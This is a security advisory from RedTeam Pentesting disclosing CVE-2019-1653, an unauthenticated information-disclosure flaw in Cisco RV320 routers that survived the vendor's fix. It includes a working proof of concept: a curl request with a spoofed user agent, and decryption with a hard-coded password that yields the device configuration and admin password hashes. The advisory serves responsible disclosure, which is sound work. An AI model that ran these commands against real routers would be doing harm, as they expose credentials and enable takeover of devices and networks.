Advisory: Cisco RV320 Unauthenticated Diagnostic Data Retrieval RedTeam Pentesting discovered that the Cisco RV320 router still exposes sensitive diagnostic data without authentication via the device's web interface due to an inadequate fix by the vendor. Details ======= Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others Affected Versions: 1.4.2.15 through 1.4.2.20 Fixed Versions: none Vulnerability Type: Information Disclosure Security Risk: high Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info Vendor Status: working on patch Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-004 Advisory Status: published CVE: CVE-2019-1653 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653 Introduction ============ "Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network." (from the Cisco RV320 product page [1]) More Details ============ The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based configuration interface, which is implemented in various CGI programs in the device's firmware. Access to this web interface requires prior authentication using a username and password. Previously, RedTeam Pentesting identified a vulnerability (rt-sa-2018-003) [2] in the CGI program: /cgi-bin/export_debug_msg.exp By issuing an HTTP POST request to this program, it was possible to retrieve various diagnostic information from the device, including its current configuration. This request did not require any prior authentication. Cisco adressed this vulnerability in firmware version 1.4.2.19 [3]. RedTeam Pentesting discovered that the CGI program in the patched firmware is still vulnerable. The user agent "curl" is blacklisted by the firmware and must be adjusted in the HTTP client. Again, exploitation does not require any authentication. Proof of Concept ================ The diagnostic data can be retrieved by issuing an HTTP POST request to the vulnerable CGI program. OpenSSL is used to decrypt the data with the hard-coded password "NKDebug12#$%" before unpacking it with tar (output shortened): ------------------------------------------------------------------------ $ curl -k -A kurl -X POST --data 'submitdebugmsg=1' \ 'https://192.168.1.1/cgi-bin/export_debug_msg.exp' > debug $ openssl aes-128-cbc -salt -md md5 -d \ -k 'NKDebug12#$%' < debug > debug.tgz $ mkdir output && tar -xf debug.tgz -C output/ $ ls -1 output/ debug_messages.txt etc.tgz nk_sysconfig var.tgz $ cat output/nk_sysconfig ####sysconfig#### [VERSION] VERSION=73 MODEL=RV320 SSL=0 IPSEC=0 PPTP=0 PLATFORMCODE=RV0XX [...] [SYSTEM] HOSTNAME=router DOMAINNAME=example.com DOMAINCHANGE=1 USERNAME=cisco PASSWD=066bae9070a9a95b3e03019db131cd40 [...] ------------------------------------------------------------------------ Workaround ========== Prevent untrusted clients from connecting to the device's web server. Fix === None Security Risk ============= This vulnerability is rated as a high risk as it exposes sensitive diagnostic information, such as the device's configuration, to untrusted, potentially malicious parties. By retrieving this information, attackers can obtain internal network configuration, VPN or IPsec secrets, as well as password hashes for the router's user accounts. Knowledge of a user's password hash is sufficient to log into the router's web interface, cracking of the hash is not required. Any information obtained through exploitation of this vulnerability can be used to facilitate further compromise of the device itself or attached networks. Timeline ======== 2018-09-19 Original vulnerability identified 2018-09-27 Customer approved disclosure to vendor 2018-09-28 Vendor notified 2018-10-05 Receipt of advisory acknowledged by vendor 2018-10-05 Notified vendor of disclosure date: 2019-01-09 2018-11-18 List of affected versions provided by vendor 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor 2019-01-22 Firmware 1.4.2.20 released by vendor 2019-01-23 Advisory (rt-sa-2018-003) published 2019-02-07 Incomplete mitigation of vulnerability identified 2019-02-08 Proof of concept sent to vendor 2019-02-08 Receipt of proof of concept acknowledged by vendor 2019-02-15 Full advisory sent to vendor 2019-02-15 Notified vendor of disclosure date: 2019-03-27 2019-03-25 Requested progress update from vendor 2019-03-25 Vendor requests postponed disclosure 2019-03-25 Postponement declined 2019-03-27 Advisory published References ========== [1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html [2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-003 [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
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